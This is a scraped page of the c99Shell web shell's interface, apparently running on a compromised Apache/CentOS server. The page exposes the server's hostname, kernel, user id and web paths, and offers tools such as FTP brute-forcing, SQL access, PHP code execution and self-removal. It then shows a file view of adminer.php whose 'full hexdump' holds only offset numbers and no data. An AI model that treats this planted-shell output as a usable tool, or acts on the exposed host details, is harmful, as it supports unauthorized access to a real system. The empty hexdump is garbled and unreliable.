!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eregis_/   drwxr-xr-x
Free 52.31 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     adminer.php (152.84 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/mis/eregis_/adminer.php
Size 152.84 KB
MD5 dc1e29eb990620a00ba6ba56c7139699
Owner/Group apache/apache
Perms-rwxr-xr-x
Create time 23/08/2019 15:08:04
Access time 31/07/2024 09:11:45
MODIFY time 07/08/2013 11:44:53

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
00000390
000003A8
000003C0
000003D8
000003F0
00000408
00000420
00000438
00000450
00000468
00000480
00000498
000004B0
000004C8
000004E0
000004F8
00000510
00000528
00000540
00000558
00000570
00000588
000005A0
000005B8
000005D0
000005E8
00000600
00000618
00000630
00000648
00000660
00000678
00000690
000006A8
000006C0
000006D8
000006F0
00000708
00000720
00000738
00000750
00000768
00000780
00000798
000007B0
000007C8
000007E0
000007F8
00000810
00000828
00000840
00000858
00000870
00000888
000008A0
000008B8
000008D0
000008E8
00000900
00000918
00000930
00000948
00000960
00000978
00000990
000009A8
000009C0
000009D8
000009F0
00000A08
00000A20
00000A38
00000A50
00000A68
00000A80
00000A98
00000AB0
00000AC8
00000AE0
00000AF8
00000B10
00000B28
00000B40
00000B58
00000B70
00000B88
00000BA0
00000BB8
00000BD0
00000BE8
00000C00
00000C18
00000C30
00000C48
00000C60
00000C78
00000C90
00000CA8
00000CC0
00000CD8
00000CF0
00000D08
00000D20
00000D38
00000D50
00000D68
00000D80
00000D98
00000DB0
00000DC8
00000DE0
00000DF8
00000E10
00000E28
00000E40
00000E58
00000E70
00000E88
00000EA0
00000EB8
00000ED0
00000EE8
00000F00
00000F18
00000F30
00000F48
00000F60
00000F78
00000F90
00000FA8
00000FC0
00000FD8
00000FF0
00001008
00001020
00001038
00001050
00001068
00001080
00001098
000010B0
000010C8
000010E0
000010F8
00001110
00001128
00001140
00001158
00001170
00001188
000011A0
000011B8
000011D0
000011E8
00001200
00001218
00001230
00001248
00001260
00001278
00001290
000012A8
000012C0
000012D8
000012F0
00001308
00001320
00001338
00001350
00001368
00001380
00001398
000013B0
000013C8
000013E0
000013F8
00001410
00001428
00001440
00001458
00001470
00001488
000014A0
000014B8
000014D0
000014E8
00001500
00001518
00001530
00001548
00001560
00001578
00001590
000015A8
000015C0
000015D8
000015F0
00001608
00001620
00001638
00001650
00001668
00001680
00001698
000016B0
000016C8
000016E0
000016F8
00001710
00001728
00001740
00001758
00001770
00001788
000017A0
000017B8
000017D0
000017E8
00001800
00001818
00001830
00001848
00001860
00001878
00001890
000018A8
000018C0
000018D8
000018F0
00001908
00001920
00001938
00001950
00001968
00001980
00001998
000019B0
000019C8
000019E0
000019F8
00001A10
00001A28
00001A40
00001A58
00001A70
00001A88
00001AA0
00001AB8
00001AD0
00001AE8
00001B00
00001B18
00001B30
00001B48
00001B60
00001B78
00001B90
00001BA8
00001BC0
00001BD8
00001BF0
00001C08
00001C20
00001C38
00001C50
00001C68
00001C80
00001C98
00001CB0
00001CC8
00001CE0
00001CF8
00001D10
00001D28
00001D40
00001D58
00001D70
00001D88
00001DA0
00001DB8
00001DD0
00001DE8
00001E00
00001E18
00001E30
00001E48
00001E60
00001E78
00001E90
00001EA8
00001EC0
00001ED8
00001EF0
00001F08
00001F20
00001F38
00001F50
00001F68
00001F80
00001F98
00001FB0
00001FC8
00001FE0
00001FF8
00002010
00002028
00002040
00002058
00002070
00002088
000020A0
000020B8
000020D0
000020E8
00002100
00002118
00002130
00002148
00002160
00002178
00002190
000021A8
000021C0
000021D8
000021F0
00002208
00002220
00002238
00002250
00002268
00002280
00002298
000022B0
000022C8
000022E0
000022F8
00002310
00002328
00002340
00002358
00002370
00002388
000023A0
000023B8
000023D0
000023E8
00002400
00002418
00002430
00002448
00002460
00002478
00002490
000024A8
000024C0
000024D8
000024F0
00002508
00002520
00002538
00002550
00002568
00002580
00002598
000025B0
000025C8
000025E0
000025F8
00002610
00002628
00002640
00002658
00002670
00002688
000026A0
000026B8
000026D0
000026E8
00002700
00002718
00002730
00002748
00002760
00002778
00002790
000027A8
000027C0
000027D8
000027F0
00002808
00002820
00002838
00002850
00002868
00002880
00002898
000028B0
000028C8
000028E0
000028F8
00002910
00002928
00002940
00002958
00002970
00002988
000029A0
000029B8
000029D0
000029E8
00002A00
00002A18
00002A30
00002A48
00002A60
00002A78
00002A90
00002AA8
00002AC0
00002AD8
00002AF0
00002B08
00002B20
00002B38
00002B50
00002B68
00002B80
00002B98
00002BB0
00002BC8
00002BE0
00002BF8
00002C10
00002C28
00002C40
00002C58
00002C70
00002C88
00002CA0
00002CB8
00002CD0
00002CE8
00002D00
00002D18
00002D30
00002D48
00002D60
00002D78
00002D90
00002DA8
00002DC0
00002DD8
00002DF0
00002E08
00002E20
00002E38
00002E50
00002E68
00002E80
00002E98
00002EB0
00002EC8
00002EE0
00002EF8
00002F10
00002F28
00002F40
00002F58
00002F70
00002F88
00002FA0
00002FB8
00002FD0
00002FE8
00003000
00003018
00003030
00003048
00003060
00003078
00003090
000030A8
000030C0
000030D8
000030F0
00003108
00003120
00003138
00003150
00003168
00003180
00003198
000031B0
000031C8
000031E0
000031F8
00003210
00003228
00003240
00003258
00003270
00003288
000032A0
000032B8
000032D0
000032E8
00003300
00003318
00003330
00003348
00003360
00003378
00003390
000033A8
000033C0
000033D8
000033F0
00003408
00003420
00003438
00003450
00003468
00003480
00003498
000034B0
000034C8
000034E0
000034F8
00003510
00003528
00003540
00003558
00003570
00003588
000035A0
000035B8
000035D0
000035E8
00003600
00003618
00003630
00003648
00003660
00003678
00003690
000036A8
000036C0
000036D8
000036F0
00003708
00003720
00003738
00003750
00003768
00003780
00003798
000037B0
000037C8
000037E0
000037F8
00003810
00003828
00003840
00003858
00003870
00003888
000038A0
000038B8
000038D0
000038E8
00003900
00003918
00003930
00003948
00003960
00003978
00003990
000039A8
000039C0
000039D8
000039F0
00003A08
00003A20
00003A38
00003A50
00003A68
00003A80
00003A98
00003AB0
00003AC8
00003AE0
00003AF8
00003B10
00003B28
00003B40
00003B58
00003B70
00003B88
00003BA0
00003BB8
00003BD0
00003BE8
00003C00
00003C18
00003C30
00003C48
00003C60
00003C78
00003C90
00003CA8
00003CC0
00003CD8
00003CF0
00003D08
00003D20
00003D38
00003D50
00003D68
00003D80
00003D98
00003DB0
00003DC8
00003DE0
00003DF8
00003E10
00003E28
00003E40
00003E58
00003E70
00003E88
00003EA0
00003EB8
00003ED0
00003EE8
00003F00
00003F18
00003F30
00003F48
00003F60
00003F78
00003F90
00003FA8
00003FC0
00003FD8
00003FF0
00004008
00004020
00004038
00004050
00004068
00004080
00004098
000040B0
000040C8
000040E0
000040F8
00004110
00004128
00004140
00004158
00004170
00004188
000041A0
000041B8
000041D0
000041E8
00004200
00004218
00004230
00004248
00004260
00004278
00004290
000042A8
000042C0
000042D8
000042F0
00004308
00004320
00004338
00004350
00004368
00004380
00004398
000043B0
000043C8
000043E0
000043F8
00004410
00004428
00004440
00004458
00004470
00004488
000044A0
000044B8
000044D0
000044E8
00004500
00004518
00004530
00004548
00004560
00004578
00004590
000045A8
000045C0
000045D8
000045F0
00004608
00004620
00004638
00004650
00004668
00004680
00004698
000046B0
000046C8
000046E0
000046F8
00004710
00004728
00004740
00004758
00004770
00004788
000047A0
000047B8
000047D0
000047E8
00004800
00004818
00004830
00004848
00004860
00004878
00004890
000048A8
000048C0
000048D8
000048F0
00004908
00004920
00004938
00004950
00004968
00004980
00004998
000049B0
000049C8
000049E0
000049F8
00004A10
00004A28
00004A40
00004A58
00004A70
00004A88
00004AA0
00004AB8
00004AD0
00004AE8
00004B00
00004B18
00004B30
00004B48
00004B60
00004B78
00004B90
00004BA8
00004BC0
00004BD8
00004BF0
00004C08
00004C20
00004C38
00004C50
00004C68
00004C80
00004C98
00004CB0
00004CC8
00004CE0
00004CF8
00004D10
00004D28
00004D40
00004D58
00004D70
00004D88
00004DA0
00004DB8
00004DD0
00004DE8
00004E00
00004E18
00004E30
00004E48
00004E60
00004E78
00004E90
00004EA8
00004EC0
00004ED8
00004EF0
00004F08
00004F20
00004F38
00004F50
00004F68
00004F80
00004F98
00004FB0
00004FC8
00004FE0
00004FF8
00005010
00005028
00005040
00005058
00005070
00005088
000050A0
000050B8
000050D0
000050E8
00005100
00005118
00005130
00005148
00005160
00005178
00005190
000051A8
000051C0
000051D8
000051F0
00005208
00005220
00005238
00005250
00005268
00005280
00005298
000052B0
000052C8
000052E0
000052F8
00005310
00005328
00005340
00005358
00005370
00005388
000053A0
000053B8
000053D0
000053E8
00005400
00005418
00005430
00005448
00005460
00005478
00005490
000054A8
000054C0
000054D8
000054F0
00005508
00005520
00005538
00005550
00005568
00005580
00005598
000055B0
000055C8
000055E0
000055F8
00005610
00005628
00005640
00005658
00005670
00005688
000056A0
000056B8
000056D0
000056E8
00005700
00005718
00005730
00005748
00005760
00005778
00005790
000057A8
000057C0
000057D8
000057F0
00005808
00005820
00005838
00005850
00005868
00005880
00005898
000058B0
000058C8
000058E0
000058F8
00005910
00005928
00005940
00005958
00005970
00005988
000059A0
000059B8
000059D0
000059E8
00005A00
00005A18
00005A30
00005A48
00005A60
00005A78
00005A90
00005AA8
00005AC0
00005AD8
00005AF0
00005B08
00005B20
00005B38
00005B50
00005B68
00005B80
00005B98
00005BB0
00005BC8
00005BE0
00005BF8
00005C10
00005C28
00005C40
00005C58
00005C70
00005C88
00005CA0
00005CB8
00005CD0
00005CE8
00005D00
00005D18
00005D30
00005D48
00005D60
00005D78
00005D90
00005DA8
00005DC0
00005DD8
00005DF0
00005E08
00005E20
00005E38
00005E50
00005E68
00005E80
00005E98
00005EB0
00005EC8
00005EE0
00005EF8
00005F10
00005F28
00005F40
00005F58
00005F70
00005F88
00005FA0
00005FB8
00005FD0
00005FE8
00006000
00006018
00006030
00006048
00006060
00006078
00006090
000060A8
000060C0
000060D8
000060F0
00006108
00006120
00006138
00006150
00006168
00006180
00006198
000061B0
000061C8
000061E0
000061F8
00006210
00006228
00006240
00006258
00006270
00006288
000062A0
000062B8
000062D0
000062E8
00006300
00006318
00006330
00006348
00006360
00006378
00006390
000063A8
000063C0
000063D8
000063F0
00006408
00006420
00006438
00006450
00006468
00006480
00006498
000064B0
000064C8
000064E0
000064F8
00006510
00006528
00006540
00006558
00006570
00006588
000065A0
000065B8
000065D0
000065E8
00006600
00006618
00006630
00006648
00006660
00006678
00006690
000066A8
000066C0
000066D8
000066F0
00006708
00006720
00006738
00006750
00006768
00006780
00006798
000067B0
000067C8
000067E0
000067F8
00006810
00006828
00006840
00006858
00006870
00006888
000068A0
000068B8
000068D0
000068E8
00006900
00006918
00006930
00006948
00006960
00006978
00006990
000069A8
000069C0
000069D8
000069F0
00006A08
00006A20
00006A38
00006A50
00006A68
00006A80
00006A98
00006AB0
00006AC8
00006AE0
00006AF8
00006B10
00006B28
00006B40
00006B58
00006B70
00006B88
00006BA0
00006BB8
00006BD0
00006BE8
00006C00
00006C18
00006C30
00006C48
00006C60
00006C78
00006C90
00006CA8
00006CC0
00006CD8
00006CF0
00006D08
00006D20
00006D38
00006D50
00006D68
00006D80
00006D98
00006DB0
00006DC8
00006DE0
00006DF8
00006E10
00006E28
00006E40
00006E58
00006E70
00006E88
00006EA0
00006EB8
00006ED0
00006EE8
00006F00
00006F18
00006F30
00006F48
00006F60
00006F78
00006F90
00006FA8
00006FC0
00006FD8
00006FF0
00007008
00007020
00007038
00007050
00007068
00007080
00007098
000070B0
000070C8
000070E0
000070F8
00007110
00007128
00007140
00007158
00007170
00007188
000071A0
000071B8
000071D0
000071E8
00007200
00007218
00007230
00007248
00007260
00007278
00007290
000072A8
000072C0
000072D8
000072F0
00007308
00007320
00007338
00007350
00007368
00007380
00007398
000073B0
000073C8
000073E0
000073F8
00007410
00007428
00007440
00007458
00007470
00007488
000074A0
000074B8
000074D0
000074E8
00007500
00007518
00007530
00007548
00007560
00007578
00007590
000075A8
000075C0
000075D8
000075F0
00007608
00007620
00007638
00007650
00007668
00007680
00007698
000076B0
000076C8
000076E0
000076F8
00007710
00007728
00007740
00007758
00007770
00007788
000077A0
000077B8
000077D0
000077E8
00007800
00007818
00007830
00007848
00007860
00007878
00007890
000078A8
000078C0
000078D8
000078F0
00007908
00007920
00007938
00007950
00007968
00007980
00007998
000079B0
000079C8
000079E0
000079F8
00007A10
00007A28
00007A40
00007A58
00007A70
00007A88
00007AA0
00007AB8
00007AD0
00007AE8
00007B00
00007B18
00007B30
00007B48
00007B60
00007B78
00007B90
00007BA8
00007BC0
00007BD8
00007BF0
00007C08
00007C20
00007C38
00007C50
00007C68
00007C80
00007C98
00007CB0
00007CC8
00007CE0
00007CF8
00007D10
00007D28
00007D40
00007D58
00007D70
00007D88
00007DA0
00007DB8
00007DD0
00007DE8
00007E00
00007E18
00007E30
00007E48
00007E60
00007E78
00007E90
00007EA8
00007EC0
00007ED8
00007EF0
00007F08
00007F20
00007F38
00007F50
00007F68
00007F80
00007F98
00007FB0
00007FC8
00007FE0
00007FF8
00008010
00008028
00008040
00008058
00008070
00008088
000080A0
000080B8
000080D0
000080E8
00008100
00008118
00008130
00008148
00008160
00008178
00008190
000081A8
000081C0
000081D8
000081F0
00008208
00008220
00008238
00008250
00008268
00008280
00008298
000082B0
000082C8
000082E0
000082F8
00008310
00008328
00008340
00008358
00008370
00008388
000083A0
000083B8
000083D0
000083E8
00008400
00008418
00008430
00008448
00008460
00008478
00008490
000084A8
000084C0
000084D8
000084F0
00008508
00008520
00008538
00008550
00008568
00008580
00008598
000085B0
000085C8
000085E0
000085F8
00008610
00008628
00008640
00008658
00008670
00008688
000086A0
000086B8
000086D0
000086E8
00008700
00008718
00008730
00008748
00008760
00008778
00008790
000087A8
000087C0
000087D8
000087F0
00008808
00008820
00008838
00008850
00008868
00008880
00008898
000088B0
000088C8
000088E0
000088F8
00008910
00008928
00008940
00008958
00008970
00008988
000089A0
000089B8
000089D0
000089E8
00008A00
00008A18
00008A30
00008A48
00008A60
00008A78
00008A90
00008AA8
00008AC0
00008AD8
00008AF0
00008B08
00008B20
00008B38
00008B50
00008B68
00008B80
00008B98
00008BB0
00008BC8
00008BE0
00008BF8
00008C10
00008C28
00008C40
00008C58
00008C70
00008C88
00008CA0
00008CB8
00008CD0
00008CE8
00008D00
00008D18
00008D30
00008D48
00008D60
00008D78
00008D90
00008DA8
00008DC0
00008DD8
00008DF0
00008E08
00008E20
00008E38
00008E50
00008E68
00008E80
00008E98
00008EB0
00008EC8
00008EE0
00008EF8
00008F10
00008F28
00008F40
00008F58
00008F70
00008F88
00008FA0
00008FB8
00008FD0
00008FE8
00009000
00009018
00009030
00009048
00009060
00009078
00009090
000090A8
000090C0
000090D8
000090F0
00009108
00009120
00009138
00009150
00009168
00009180
00009198
000091B0
000091C8
000091E0
000091F8
00009210
00009228
00009240
00009258
00009270
00009288
000092A0
000092B8
000092D0
000092E8
00009300
00009318
00009330
00009348
00009360
00009378
00009390
000093A8
000093C0
000093D8
000093F0
00009408
00009420
00009438
00009450
00009468
00009480
00009498
000094B0
000094C8
000094E0
000094F8
00009510
00009528
00009540
00009558
00009570
00009588
000095A0
000095B8
000095D0
000095E8
00009600
00009618
00009630
00009648
00009660
00009678
00009690
000096A8
000096C0
000096D8
000096F0
00009708
00009720
00009738
00009750
00009768
00009780
00009798
000097B0
000097C8
000097E0
000097F8
00009810
00009828
00009840
00009858
00009870
00009888
000098A0
000098B8
000098D0
000098E8
00009900
00009918
00009930
00009948
00009960
00009978
00009990
000099A8
000099C0
000099D8
000099F0
00009A08
00009A20
00009A38
00009A50
00009A68
00009A80
00009A98
00009AB0
00009AC8
00009AE0
00009AF8
00009B10
00009B28
00009B40
00009B58
00009B70
00009B88
00009BA0
00009BB8
00009BD0
00009BE8
00009C00
00009C18
00009C30
00009C48
00009C60
00009C78
00009C90
00009CA8
00009CC0
00009CD8
00009CF0
00009D08
00009D20
00009D38
00009D50
00009D68
00009D80
00009D98
00009DB0
00009DC8
00009DE0
00009DF8
00009E10
00009E28
00009E40
00009E58
00009E70
00009E88
00009EA0
00009EB8
00009ED0
00009EE8
00009F00
00009F18
00009F30
00009F48
00009F60
00009F78
00009F90
00009FA8
00009FC0
00009FD8
00009FF0
0000A008
0000A020
0000A038
0000A050
0000A068
0000A080
0000A098
0000A0B0
0000A0C8
0000A0E0
0000A0F8
0000A110
0000A128
0000A140
0000A158
0000A170
0000A188
0000A1A0
0000A1B8
0000A1D0
0000A1E8
0000A200
0000A218
0000A230
0000A248
0000A260
0000A278
0000A290
0000A2A8
0000A2C0
0000A2D8
0000A2F0
0000A308
0000A320
0000A338
0000A350
0000A368
0000A380
0000A398
0000A3B0
0000A3C8
0000A3E0
0000A3F8
0000A410
0000A428
0000A440
0000A458
0000A470
0000A488
0000A4A0
0000A4B8
0000A4D0
0000A4E8
0000A500
0000A518
0000A530
0000A548
0000A560
0000A578
0000A590
0000A5A8
0000A5C0
0000A5D8
0000A5F0
0000A608
0000A620
0000A638
0000A650
0000A668
0000A680
0000A698
0000A6B0
0000A6C8
0000A6E0
0000A6F8
0000A710
0000A728
0000A740
0000A758
0000A770
0000A788
0000A7A0
0000A7B8
0000A7D0
0000A7E8
0000A800
0000A818
0000A830
0000A848
0000A860
0000A878
0000A890
0000A8A8
0000A8C0
0000A8D8
0000A8F0
0000A908
0000A920
0000A938
0000A950
0000A968
0000A980
0000A998
0000A9B0
0000A9C8
0000A9E0
0000A9F8
0000AA10
0000AA28
0000AA40
0000AA58
0000AA70
0000AA88
0000AAA0
0000AAB8
0000AAD0
0000AAE8
0000AB00
0000AB18
0000AB30
0000AB48
0000AB60
0000AB78
0000AB90
0000ABA8
0000ABC0
0000ABD8
0000ABF0
0000AC08
0000AC20
0000AC38
0000AC50
0000AC68
0000AC80
0000AC98
0000ACB0
0000ACC8
0000ACE0
0000ACF8
0000AD10
0000AD28
0000AD40
0000AD58
0000AD70
0000AD88
0000ADA0
0000ADB8
0000ADD0
0000ADE8
0000AE00
0000AE18
0000AE30
0000AE48
0000AE60
0000AE78
0000AE90
0000AEA8
0000AEC0
0000AED8
0000AEF0
0000AF08
0000AF20
0000AF38
0000AF50
0000AF68
0000AF80
0000AF98
0000AFB0
0000AFC8
0000AFE0
0000AFF8
0000B010
0000B028
0000B040
0000B058
0000B070
0000B088
0000B0A0
0000B0B8
0000B0D0
0000B0E8
0000B100
0000B118
0000B130
0000B148
0000B160
0000B178
0000B190
0000B1A8
0000B1C0
0000B1D8
0000B1F0
0000B208
0000B220
0000B238
0000B250
0000B268
0000B280
0000B298
0000B2B0
0000B2C8
0000B2E0
0000B2F8
0000B310
0000B328
0000B340
0000B358
0000B370
0000B388
0000B3A0
0000B3B8
0000B3D0
0000B3E8
0000B400
0000B418
0000B430
0000B448
0000B460
0000B478
0000B490
0000B4A8
0000B4C0
0000B4D8
0000B4F0
0000B508
0000B520
0000B538
0000B550
0000B568
0000B580
0000B598
0000B5B0
0000B5C8
0000B5E0
0000B5F8
0000B610
0000B628
0000B640
0000B658
0000B670
0000B688
0000B6A0
0000B6B8
0000B6D0
0000B6E8
0000B700
0000B718
0000B730
0000B748
0000B760
0000B778
0000B790
0000B7A8
0000B7C0
0000B7D8
0000B7F0
0000B808
0000B820
0000B838
0000B850
0000B868
0000B880
0000B898
0000B8B0
0000B8C8
0000B8E0
0000B8F8
0000B910
0000B928
0000B940
0000B958
0000B970
0000B988
0000B9A0
0000B9B8
0000B9D0
0000B9E8
0000BA00
0000BA18
0000BA30
0000BA48
0000BA60
0000BA78
0000BA90
0000BAA8
0000BAC0
0000BAD8
0000BAF0
0000BB08
0000BB20
0000BB38
0000BB50
0000BB68
0000BB80
0000BB98
0000BBB0
0000BBC8
0000BBE0
0000BBF8
0000BC10
0000BC28
0000BC40
0000BC58
0000BC70
0000BC88
0000BCA0
0000BCB8
0000BCD0
0000BCE8
0000BD00
0000BD18
0000BD30
0000BD48
0000BD60
0000BD78
0000BD90
0000BDA8
0000BDC0
0000BDD8
0000BDF0
0000BE08
0000BE20
0000BE38
0000BE50
0000BE68
0000BE80
0000BE98
0000BEB0
0000BEC8
0000BEE0
0000BEF8
0000BF10
0000BF28
0000BF40
0000BF58
0000BF70
0000BF88
0000BFA0
0000BFB8
0000BFD0
0000BFE8
0000C000
0000C018
0000C030
0000C048
0000C060
0000C078
0000C090
0000C0A8
0000C0C0
0000C0D8
0000C0F0
0000C108
0000C120
0000C138
0000C150
0000C168
0000C180
0000C198
0000C1B0
0000C1C8
0000C1E0
0000C1F8
0000C210
0000C228
0000C240
0000C258
0000C270
0000C288
0000C2A0
0000C2B8
0000C2D0
0000C2E8
0000C300
0000C318
0000C330
0000C348
0000C360
0000C378
0000C390
0000C3A8
0000C3C0
0000C3D8
0000C3F0
0000C408
0000C420
0000C438
0000C450
0000C468
0000C480
0000C498
0000C4B0
0000C4C8
0000C4E0
0000C4F8
0000C510
0000C528
0000C540
0000C558
0000C570
0000C588
0000C5A0
0000C5B8
0000C5D0
0000C5E8
0000C600
0000C618
0000C630
0000C648
0000C660
0000C678
0000C690
0000C6A8
0000C6C0
0000C6D8
0000C6F0
0000C708
0000C720
0000C738
0000C750
0000C768
0000C780
0000C798
0000C7B0
0000C7C8
0000C7E0
0000C7F8
0000C810
0000C828
0000C840
0000C858
0000C870
0000C888
0000C8A0
0000C8B8
0000C8D0
0000C8E8
0000C900
0000C918
0000C930
0000C948
0000C960
0000C978
0000C990
0000C9A8
0000C9C0
0000C9D8
0000C9F0
0000CA08
0000CA20
0000CA38
0000CA50
0000CA68
0000CA80
0000CA98
0000CAB0
0000CAC8
0000CAE0
0000CAF8
0000CB10
0000CB28
0000CB40
0000CB58
0000CB70
0000CB88
0000CBA0
0000CBB8
0000CBD0
0000CBE8
0000CC00
0000CC18
0000CC30
0000CC48
0000CC60
0000CC78
0000CC90
0000CCA8
0000CCC0
0000CCD8
0000CCF0
0000CD08
0000CD20
0000CD38
0000CD50
0000CD68
0000CD80
0000CD98
0000CDB0
0000CDC8
0000CDE0
0000CDF8
0000CE10
0000CE28
0000CE40
0000CE58
0000CE70
0000CE88
0000CEA0
0000CEB8
0000CED0
0000CEE8
0000CF00
0000CF18
0000CF30
0000CF48
0000CF60
0000CF78
0000CF90
0000CFA8
0000CFC0
0000CFD8
0000CFF0
0000D008
0000D020
0000D038
0000D050
0000D068
0000D080
0000D098
0000D0B0
0000D0C8
0000D0E0
0000D0F8
0000D110
0000D128
0000D140
0000D158
0000D170
0000D188
0000D1A0
0000D1B8
0000D1D0
0000D1E8
0000D200
0000D218
0000D230
0000D248
0000D260
0000D278
0000D290
0000D2A8
0000D2C0
0000D2D8
0000D2F0
0000D308
0000D320
0000D338
0000D350
0000D368
0000D380
0000D398
0000D3B0
0000D3C8
0000D3E0
0000D3F8
0000D410
0000D428
0000D440
0000D458
0000D470
0000D488
0000D4A0
0000D4B8
0000D4D0
0000D4E8
0000D500
0000D518
0000D530
0000D548
0000D560
0000D578
0000D590
0000D5A8
0000D5C0
0000D5D8
0000D5F0
0000D608
0000D620
0000D638
0000D650
0000D668
0000D680
0000D698
0000D6B0
0000D6C8
0000D6E0
0000D6F8
0000D710
0000D728
0000D740
0000D758
0000D770
0000D788
0000D7A0
0000D7B8
0000D7D0
0000D7E8
0000D800
0000D818
0000D830
0000D848
0000D860
0000D878
0000D890
0000D8A8
0000D8C0
0000D8D8
0000D8F0
0000D908
0000D920
0000D938
0000D950
0000D968
0000D980
0000D998
0000D9B0
0000D9C8
0000D9E0
0000D9F8
0000DA10
0000DA28
0000DA40
0000DA58
0000DA70
0000DA88
0000DAA0
0000DAB8
0000DAD0
0000DAE8
0000DB00
0000DB18
0000DB30
0000DB48
0000DB60
0000DB78
0000DB90
0000DBA8
0000DBC0
0000DBD8
0000DBF0
0000DC08
0000DC20
0000DC38
0000DC50
0000DC68
0000DC80
0000DC98
0000DCB0
0000DCC8
0000DCE0
0000DCF8
0000DD10
0000DD28
0000DD40
0000DD58
0000DD70
0000DD88
0000DDA0
0000DDB8
0000DDD0
0000DDE8
0000DE00
0000DE18
0000DE30
0000DE48
0000DE60
0000DE78
0000DE90
0000DEA8
0000DEC0
0000DED8
0000DEF0
0000DF08
0000DF20
0000DF38
0000DF50
0000DF68
0000DF80
0000DF98
0000DFB0
0000DFC8
0000DFE0
0000DFF8
0000E010
0000E028
0000E040
0000E058
0000E070
0000E088
0000E0A0
0000E0B8
0000E0D0
0000E0E8
0000E100
0000E118
0000E130
0000E148
0000E160
0000E178
0000E190
0000E1A8
0000E1C0
0000E1D8
0000E1F0
0000E208
0000E220
0000E238
0000E250
0000E268
0000E280
0000E298
0000E2B0
0000E2C8
0000E2E0
0000E2F8
0000E310
0000E328
0000E340
0000E358
0000E370
0000E388
0000E3A0
0000E3B8
0000E3D0
0000E3E8
0000E400
0000E418
0000E430
0000E448
0000E460
0000E478
0000E490
0000E4A8
0000E4C0
0000E4D8
0000E4F0
0000E508
0000E520
0000E538
0000E550
0000E568
0000E580
0000E598
0000E5B0
0000E5C8
0000E5E0
0000E5F8
0000E610
0000E628
0000E640
0000E658
0000E670
0000E688
0000E6A0
0000E6B8
0000E6D0
0000E6E8
0000E700
0000E718
0000E730
0000E748
0000E760
0000E778
0000E790
0000E7A8
0000E7C0
0000E7D8
0000E7F0
0000E808
0000E820
0000E838
0000E850
0000E868
0000E880
0000E898
0000E8B0
0000E8C8
0000E8E0
0000E8F8
0000E910
0000E928
0000E940
0000E958
0000E970
0000E988
0000E9A0
0000E9B8
0000E9D0
0000E9E8
0000EA00
0000EA18
0000EA30
0000EA48
0000EA60
0000EA78
0000EA90
0000EAA8
0000EAC0
0000EAD8
0000EAF0
0000EB08
0000EB20
0000EB38
0000EB50
0000EB68
0000EB80
0000EB98
0000EBB0
0000EBC8
0000EBE0
0000EBF8
0000EC10
0000EC28
0000EC40
0000EC58
0000EC70
0000EC88
0000ECA0
0000ECB8
0000ECD0
0000ECE8
0000ED00
0000ED18
0000ED30
0000ED48
0000ED60
0000ED78
0000ED90
0000EDA8
0000EDC0
0000EDD8
0000EDF0
0000EE08
0000EE20
0000EE38
0000EE50
0000EE68
0000EE80
0000EE98
0000EEB0
0000EEC8
0000EEE0
0000EEF8
0000EF10
0000EF28
0000EF40
0000EF58
0000EF70
0000EF88
0000EFA0
0000EFB8
0000EFD0
0000EFE8
0000F000
0000F018
0000F030
0000F048
0000F060
0000F078
0000F090
0000F0A8
0000F0C0
0000F0D8
0000F0F0
0000F108
0000F120
0000F138
0000F150
0000F168
0000F180
0000F198
0000F1B0
0000F1C8
0000F1E0
0000F1F8
0000F210
0000F228
0000F240
0000F258
0000F270
0000F288
0000F2A0
0000F2B8
0000F2D0
0000F2E8
0000F300
0000F318
0000F330
0000F348
0000F360
0000F378
0000F390
0000F3A8
0000F3C0
0000F3D8
0000F3F0
0000F408
0000F420
0000F438
0000F450
0000F468
0000F480
0000F498
0000F4B0
0000F4C8
0000F4E0
0000F4F8
0000F510
0000F528
0000F540
0000F558
0000F570
0000F588
0000F5A0
0000F5B8
0000F5D0
0000F5E8
0000F600
0000F618
0000F630
0000F648
0000F660
0000F678
0000F690
0000F6A8
0000F6C0
0000F6D8
0000F6F0
0000F708
0000F720
0000F738
0000F750
0000F768
0000F780
0000F798
0000F7B0
0000F7C8
0000F7E0
0000F7F8
0000F810
0000F828
0000F840
0000F858
0000F870
0000F888
0000F8A0
0000F8B8
0000F8D0
0000F8E8
0000F900
0000F918
0000F930
0000F948
0000F960
0000F978
0000F990
0000F9A8
0000F9C0
0000F9D8
0000F9F0
0000FA08
0000FA20
0000FA38
0000FA50
0000FA68
0000FA80
0000FA98
0000FAB0
0000FAC8
0000FAE0
0000FAF8
0000FB10
0000FB28
0000FB40
0000FB58
0000FB70
0000FB88
0000FBA0
0000FBB8
0000FBD0
0000FBE8
0000FC00
0000FC18
0000FC30
0000FC48
0000FC60
0000FC78
0000FC90
0000FCA8
0000FCC0
0000FCD8
0000FCF0
0000FD08
0000FD20
0000FD38
0000FD50
0000FD68
0000FD80
0000FD98
0000FDB0
0000FDC8
0000FDE0
0000FDF8
0000FE10
0000FE28
0000FE40
0000FE58
0000FE70
0000FE88
0000FEA0
0000FEB8
0000FED0
0000FEE8
0000FF00
0000FF18
0000FF30
0000FF48
0000FF60
0000FF78
0000FF90
0000FFA8
0000FFC0
0000FFD8
0000FFF0
00010008
00010020
00010038
00010050
00010068
00010080
00010098
000100B0
000100C8
000100E0
000100F8
00010110
00010128
00010140
00010158
00010170
00010188
000101A0
000101B8
000101D0
000101E8
00010200
00010218
00010230
00010248
00010260
00010278
00010290
000102A8
000102C0
000102D8
000102F0
00010308
00010320
00010338
00010350
00010368
00010380
00010398
000103B0
000103C8
000103E0
000103F8
00010410
00010428
00010440
00010458
00010470
00010488
